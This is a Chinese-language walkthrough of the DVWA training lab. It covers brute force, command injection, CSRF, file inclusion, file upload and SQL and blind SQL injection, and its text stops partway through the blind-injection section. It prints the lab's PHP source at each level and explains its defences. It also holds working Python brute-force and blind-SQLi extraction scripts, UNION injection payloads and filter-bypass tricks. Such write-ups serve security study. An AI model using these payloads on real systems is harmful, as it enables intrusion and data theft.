文章目录
- 一、Brute Force
- 二、Command Injection
- 三、CSRF
- 四、File Inclusion
- 五、File Upload
- 六、 SQL注入
- 七、SQL盲注
- 八、Weak Session IDs
- 九、XSS(DOM)
- 十、XSS(Reflected)
- 十一、XSS(Stored)
- 十二、 CSP Bypass
- 十三、JavaScript
一、Brute Force
1.low
简单爆破脚本:
import requestss = requests.session()headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0', 'Cookie': 'PHPSESSID=02t5fg1bf27dpm9lk6il83b8k7; security=low'}f = open('password.txt', 'r',encoding='utf-8')while 1: password=f.readline().rstrip() if not password or not password: break url = f'http://121.40.115.95/vulnerabilities/brute/?username=admin&password={password}&Login=Login#' resp = s.get(url, headers=headers) if 'Username and/or password incorrect.' not in resp.text: print(password) break
源码分析:
if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "Welcome to the password protected area {$user}
";$html .= "{$avatar}\" />";}else {// Login failed$html .= "
Username and/or password incorrect.
";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?> 从GET请求中获取username和password,password用md5加密后直接放入数据库查询,有结果则将查询到的avatar字段数据提取出来,应该是对应某个图片名称,然后放出图片。
2、medium
源码:
if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "Welcome to the password protected area {$user}
";$html .= "{$avatar}\" />";}else {// Login failedsleep( 2 );$html .= "
Username and/or password incorrect.
";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?> 仅仅只是在GET请求获取的username和password处增加了mysqli_real_escape_string()的处理,转义sql语句中的字符,防止sql注入,对暴力破解依旧没有防备。
3、High
源码:
if( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "Welcome to the password protected area {$user}
";$html .= "{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );$html .= "
Username and/or password incorrect.
";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?> 这里主要增加了checkToken()函数,用于判断token是否正确,在访问页面前,会先生成一个token然后返回到客户端并hidden起来,请求的时候会带上token,因此,可以使用burpsuite的宏正则进行爆破,因为token是提前预知的。
4、Impossible
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time = 15;$account_locked = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {// User locked out. Note, using this method would allow for user enumeration!//$html .= "
This account has been locked due to too many incorrect logins.
";// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time();// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked
";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ];// Login successful$html .= "Welcome to the password protected area {$user}
";$html .= "{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {$html .= "Warning: Someone might of been brute forcing your account.
";$html .= "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedback$html .= "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Generate Anti-CSRF tokengenerateSessionToken();?>
Impossible级别主要是教如何防护,可以看到源代码中使用了prepare进行了PDO预编译来防止SQL注入,这样所有的数据都会被当成字符处理,同时对于暴力破解,用数据库中的fail_login和last_login字段,fail_login用于记录次数,last_login记录时间,一旦登录失败三次,将当前时间和最后登录时间对比,锁住十五秒。
二、Command Injection
1、Low
源码:
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "{$cmd}
";}?>
先判断操作系统类别,然后使用shell_exec()函数执行target,类似函数还有exec(),passthru(),system()等,对target没进行任何限制,导致可以使用管道符拼接,多命令执行。
2、Medium
源码:
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "{$cmd}
";}?>
黑名单过滤了;和&&,但是拼接命令不只有这些,还有|等,区别在于,&&要前一条命令执行成功才执行下一条,||则是上一条命令执行失败。
3、High
源码:
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "{$cmd}
";}?>
又是黑名单,过滤了很多拼接字符,但是注意第三个|后面多了个空格,我们使用|| 就会导致| 先被匹配了,|| 就换变成| ,后面就匹配不成功了,依旧可以导致命令执行。
三、CSRF
1、Low
源码:
if( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );// Feedback for the user$html .= "Password Changed.
";}else {// Issue with passwords matching$html .= "Passwords did not match.
";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?> 主要是更改密码的操作,但是源码中并没有做任何检测,因此,假如一个人开启了网站没有关闭,诱导点击链接,可以达到更改密码的效果。
2、Medium
源码:
if( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );// Feedback for the user$html .= "Password Changed.
";}else {// Issue with passwords matching$html .= "Passwords did not match.
";}}else {// Didn't come from a trusted source$html .= "That request didn't look correct.
";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?> 相比于Low,这里增加了一个if的判断,判断数据包中Referer的值是否出现主机名即IP地址
3、High
源码:
$change = false;$request_type = "html";$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {$html .= ""
. $return_message . "
";}}// Generate Anti-CSRF tokengenerateSessionToken();?> 很明显,High增加了对token的判断,需要用户客户端的token才能进行修改,需要联合其它漏洞事先获取到用户的token。
4、Impossible
源码:
if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the user$html .= "Password Changed.
";}else {// Issue with passwords matching$html .= "Passwords did not match or current password incorrect.
";}}// Generate Anti-CSRF tokengenerateSessionToken();?>
源码中看到需要输入当前密码才能进行密码修改,如果当前密码不成功,则不进行数据库密码更改操作,因此不可能进行跨站请求伪造的行为。
四、File Inclusion
1、Low
源码:
// The page we wish to display$file = $_GET[ 'page' ];?>
2、Medium
源码:
// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\\" ), "", $file );?>
将…/,http://等置空,对本地包含绝对路径没有影响,如果要使用http远程包含,直接双写绕过。
3、High
源码:
// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;}?>
使用fnmatch()匹配file开头的字符串,伪协议file://即可
五、File Upload
1、Low
源码:
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= 'Your image was not uploaded.
';}else {// Yes!$html .= "{$target_path} succesfully uploaded!
";}}?>
直接接收文件,并且保存到网站根目录下hackable/uploads目录下,直接传一句话木马即可。
2、Medium
源码:
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= 'Your image was not uploaded.
';}else {// Yes!$html .= "{$target_path} succesfully uploaded!
";}}else {// Invalid file$html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.
';}}?>
只是对上传的type进行了检测,必须是jpeg或png,直接修改Content-Type即可。
3、High
然后将图片马上传,这样肯定是不够的,因为还得让图片被PHP代码解析,才能触发里面的一句话木马,可以利用文件包含漏洞,解析图片。
源码:
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= 'Your image was not uploaded.
';}else {// Yes!$html .= "{$target_path} succesfully uploaded!
";}}else {// Invalid file$html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.
';}}?>
通过截断符,截断文件名最后一个.前面的字符,同时使用getimagesize()获取图像信息,因此只能上传图片马。
4、Impossible
if( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "${target_file} succesfully uploaded!
";}else {// No$html .= 'Your image was not uploaded.
';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.
';}}// Generate Anti-CSRF tokengenerateSessionToken();?>
在High的基础上以时间+拼接文件名进行md5加密的形式重命名文件,重点是通过imagecreatefromjpeg函数对图片的内容进行了重新处理,使得图片马中的马被去掉。
六、 SQL注入
1、Low
1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据
源码:
if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";}mysqli_close($GLOBALS["___mysqli_ston"]);break; 直接将输入的数据放进了数据库查询,当然也可以使用其它注入,都可以。
2、Medium
0 union select 1,database()0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 0 union select 1,group_concat(first_name) from dvwa.users
源码:
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";}break; 虽然通过mysqli_real_escape_string()对单引号等特殊字符进行转移,但是这里用不着。
3、High
1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据
4、Impossible
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";}break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 2) {$row = $result->fetchArray();// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>
将id规定为数字,并且采用了预编译防止sql注入,使得注入语句成为参数,确实防止了sql注入。
七、SQL盲注
1、Low
import requestss=requests.session()url='http://121.199.77.45/vulnerabilities/sqli_blind/?id='last='&Submit=Submit#'headers={ 'Cookie':'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=low', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'}#proxy={'http':'http://127.0.0.1:8080'}result=''for times in range(1,88): max=128 min=0 mid=(max+min)//2 while min<max: url = 'http://121.199.77.45/vulnerabilities/sqli_blind/?id=' #payload=f"1'%20and%20if((ascii(substr((select%20database())%2c{times}%2c1))%3e{mid})%2c1%2c0)%23" 爆数据库 #payload=f"1'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆表 payload = f"1'+and+if(ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'users')%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆字段 payload = f"1'+and+if(ascii(substr((select+group_concat(first_name)+from+dvwa.users)%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆数据 url=url+payload+last resp=s.get(url,headers=headers) if 'User ID exists in the database.' in resp.text: min = mid + 1 else: max = mid mid=(min+max)//2 result += chr(min) print(result)
源码:
if( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {try {$exists = (mysqli_num_rows( $result ) > 0);} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= 'User ID exists in the database.
';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= 'User ID is MISSING from the database.
';}}?>
跟普通的low级别意义,只不过隔绝了返回的信息,成功则返回存在,使得要使用时间或者其它盲注。
2、Medium
发现0和1返回的结果不一样,直接上脚本
import timeimport requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0', 'Cookie': 'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=medium'}flag = ''for i in range(1, 100): min = 1 max = 130 mid = int((min + max) / 2) while min < max: data = { "id": f'1^if(ascii(substr((select(database())),{i},1))>{mid},0,1)', 'Submit': 'Submit' } resp = requests.post(url, headers=headers, data=data) if 'User ID is MISSING from the database.' in resp.text: max = mid else: min = mid + 1 mid = (min + max) // 2 flag += chr(mid) print(flag)
